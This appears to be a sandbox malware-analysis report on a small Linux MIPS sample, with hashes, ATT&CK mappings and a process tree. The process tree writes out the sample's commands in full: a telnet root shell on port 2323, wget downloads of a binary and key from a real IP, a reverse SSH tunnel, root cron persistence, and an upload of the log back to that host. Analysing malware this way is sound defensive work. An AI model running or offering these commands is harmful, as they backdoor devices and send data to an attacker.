10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022

Analysis

max time kernel
14s
max time network
16s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/08/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x
Size 3KB
Sample260818-plhhcsttdv
SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
MD5 82d71e57d4ab5718bf86e94a3eeb6c44
SHA1 606dc101ab4646967cf42a10a6c0cb65383d705a
SHA512 01139d2b0493fc602004398cc179ad6e99a0893633247809db2ba433a40100629e3547aac219885cf1f79493a3e9a44d4ef76a951ce0161ca3e94d8704fab262
TLSH
T1657102E2896A15F1694DCE3FD12BA0FA19E7001B242939A731AD3674377C1ACD20CB27
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
770	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/dbclient	811	x

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	x

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/698/stat	killall
File opened for reading	/proc/7/cmdline	pidof
File opened for reading	/proc/12/cmdline	pidof
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/5/cmdline	pidof
File opened for reading	/proc/832/cmdline	pidof
File opened for reading	/proc/1/stat	pidof
File opened for reading	/proc/14/cmdline	pidof
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/340/stat	pidof
File opened for reading	/proc/714/stat	pidof
File opened for reading	/proc/829/stat	pidof
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/126/stat	pidof
File opened for reading	/proc/244/cmdline	pidof
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/36/cmdline	pidof
File opened for reading	/proc/672/cmdline	pidof
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/82/cmdline	pidof
File opened for reading	/proc/691/stat	pidof
File opened for reading	/proc/691/cmdline	pidof
File opened for reading	/proc/154/cmdline	killall
File opened for reading	/proc/176/stat	killall
File opened for reading	/proc/11/cmdline	pidof
File opened for reading	/proc/154/stat	pidof
File opened for reading	/proc/399/stat	killall
File opened for reading	/proc/176/stat	killall
File opened for reading	/proc/345/stat	killall
File opened for reading	/proc/23/stat	pidof
File opened for reading	/proc/698/stat	pidof
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/5/stat	pidof
File opened for reading	/proc/348/stat	pidof
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/6/cmdline	pidof
File opened for reading	/proc/13/cmdline	pidof
File opened for reading	/proc/77/cmdline	pidof
File opened for reading	/proc/110/cmdline	pidof
File opened for reading	/proc/343/cmdline	pidof
File opened for reading	/proc/399/stat	pidof
File opened for reading	/proc/737/stat	killall
File opened for reading	/proc/8/stat	pidof
File opened for reading	/proc/9/stat	pidof
File opened for reading	/proc/75/cmdline	pidof
File opened for reading	/proc/127/cmdline	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/126/stat	killall
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/445/stat	killall
File opened for reading	/proc/697/stat	killall
File opened for reading	/proc/6/stat	pidof
File opened for reading	/proc/19/stat	pidof
File opened for reading	/proc/829/cmdline	pidof
File opened for reading	/proc/13/stat	killall

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/tunnel_key	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee

/tmp/x
/tmp/x
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
PID:725
- /bin/date
  date
  2⤵
  PID:728
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/mkdir
  mkdir -p /dev/pts
  2⤵
  PID:736
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  - Reads runtime system information
  PID:738
- /usr/bin/killall
  killall telnetd utelnetd
  2⤵
  - Reads runtime system information
  PID:741
- /bin/sleep
  sleep 1
  2⤵
  PID:743
- /bin/busybox
  busybox telnetd -l /bin/sh -p 2323
  2⤵
  PID:758
- /usr/sbin/utelnetd
  /usr/sbin/utelnetd -d -l /bin/sh -p 2323
  2⤵
  PID:759
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/sleep
  sleep 1
  2⤵
  PID:762
- /bin/grep
  grep -q :2323
  2⤵
  PID:764
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:766
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/wget
  wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
  2⤵
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod +x /tmp/dbclient
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /bin/ls
  ls -l /tmp/dbclient
  2⤵
  - Reads runtime system information
  PID:772
- /usr/bin/awk
  awk "{print \$5}"
  2⤵
  PID:773
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:775
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:777
- /usr/bin/wget
  wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 600 /tmp/tunnel_key
  2⤵
  PID:779
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/killall
  killall dbclient
  2⤵
  - Reads runtime system information
  PID:783
- /bin/sleep
  sleep 2
  2⤵
  PID:785
- /bin/sleep
  sleep 3
  2⤵
  PID:812
- /tmp/dbclient
  /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
  2⤵
  PID:811
- /bin/pidof
  pidof dbclient
  2⤵
  - Reads runtime system information
  PID:832
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:834
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  PID:835
- /bin/cat
  cat
  2⤵
  PID:836
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:840

/usr/bin/wget
wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
1⤵
PID:841

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dbclient

Path /tmp/dbclient
Size 829KB
SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
MD5 9e0ede2970d1ddab8a03f840f6ec7c53
SHA1 fc16b8b4efbb4af27aa405e522b1fa0b3d8e8f96
SHA512 6c20ee1093ceadcff0e64fd312c3db2f5e36742d8959132dabcc86295952b45653e080b8fb3f5832593e236ef4b503c0aa1ce9474fed555d4df17f723b4cbfc0
SSDEEP 12288:2DMIEzPLS4zAzLGbfonJl5rcV1/3HXdA519OOvqrctgp1h9Y:9vWEgGbwnSV1PNA/9ONrL
TLSH
T16D052955F880DFA1C6C029BAF75D86AC33134B79D3EB710689255B343BE786B0E3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 60B
SHA256 77a925c2de5ed6953f3d4af437c1094b8e25c9a8f2719782a17e388b48de81d5
MD5 adfc3c2f3925b294f4d000e57c39a624
SHA1 6619a94860c9e0b965042841acbb914db166da85
SHA512 8d71bd2630d26f8c9798b106398a233ed94e3a67b13bc0367e08569123fa3690fcfec830bf74f53e2eb5aaa358b9b6ef7b1a5a67e91359c76a4ea1cd2418434d
TLSH
T1EEA00225580658785BC6534DDF116A15665D55083702D4A0EA39945417D09DE3A17538
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 97B
SHA256 e8f2464ea573b264bf50a5bfe860e35f7c1f7e59c39e72058c2284b499b4ee12
MD5 07fae9ff6855c70243bb7136883a4fef
SHA1 dc28bff564e34c98fc1c2b44840108f673b2d18f
SHA512 74449c6c542ffa1b1e87d72ec0b54d97ccc69c017c01d484f4d1914ca75181cc935f3cd5c5a1a15c340298c6f127372af56cabd851ae166be4e4d5bf9bec7a7d
TLSH
T1F0B01211080264EC8BF2534F9E112A01571D12042A09D098AD7983001294CCD6E47529
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 135B
SHA256 6d0c7811f7976567748ef88203cd344f594b7f69419f4017e3bb0fe8ef538420
MD5 99a542bc8fa21e16b0814154e6e49265
SHA1 35f5b473486a22f1451b848c35ae50ef55afa66e
SHA512 ab00193e159468fc3e33deecd57c136b65446623cf3a51802cdbbda91a6b08af36f87584e6d3e4f704058e4e9cc63bddf6668bc02d3a2e0fba9770b5b0970745
TLSH
T1D6C02B840C0254FDD6F1534B5F041A44431D43002904C06C9DB983400258CC95D46055
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 163B
SHA256 8c70e3c66f68552083762d40dd6d080faaf795c2c20448909287f04a82dbd4ff
MD5 4e2f3335bc152d5e1d37efc4606e7b17
SHA1 16f48bc7d1432844e92a3366b0899f1b74092427
SHA512 c6759d74aa3b1ae617f606746527c69a2679138cfa82fb0472784f4f5a2073960231ebc38cc01b171255ddc6ce017b9f3ec572ccf14d2b52ea177c51d0f3b59d
TLSH
T116C08056080254FD95F553475E161584576953102605E05C5D75464005649C5DD55057
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 2KB
SHA256 78503e2ed6f2379bbd6167b698f182207d84a089d7ba8239724233c2fea642aa
MD5 d5c84a939858762d644ecba42bbd6b8d
SHA1 f4329676ad13b74d6ea7bc90d46fee5ca960401d
SHA512 23b038b695e597942d6fc6f1b8a029a777032e45cb0a82640516383be54c627b9da9b2f332f28255005cd225d528723bb966571beae1501e5ac91130ca0e97ca
TLSH
T1D24135953E627DAC5F9545789E3AC7704FA5AC0227CD082EB22E109D0FD25D0BBBBD05
MD5 SHA1 SHA512 TLSH

Submit Download

tunnel_key

Path /tmp/tunnel_key
Size 804B
SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
MD5 b9e6970d3772f11502f0a70002c83ad6
SHA1 0c991cdfc4150970966834f2dc2640b73d29f121
SHA512 5a0eaec9ba105248b806b7339acb0eac5f37c85f37ae23e37b2911b8ead7815cbb65fae69dff85d3bd89d5aaae6c8b8e7ed1dc6c6a35fb632d845bc47ba9b09d
TLSH
T1F80186D9AA14C821EE193D33077107A12EF8C3085209FE0B7060EF165574070DB4C6D1
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 392B
SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
MD5 063933a51e620e947097be6414de0209
SHA1 80b5bc33679ad19ed2246bb681401d6224ce3d10
SHA512 8509d63ec8d716a5bde05a4b52f9ec5810b3c10ecf024c249ee14da00f32be2f13aeee6407e420b300451e6cad5791f6b9757e1f5f0a92c569129da86fa42d23
TLSH
T1C1E068F1832040F0A608C937E02E9CF2D8AA19350C1B35902CEF6764610C2C6F79DAB7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads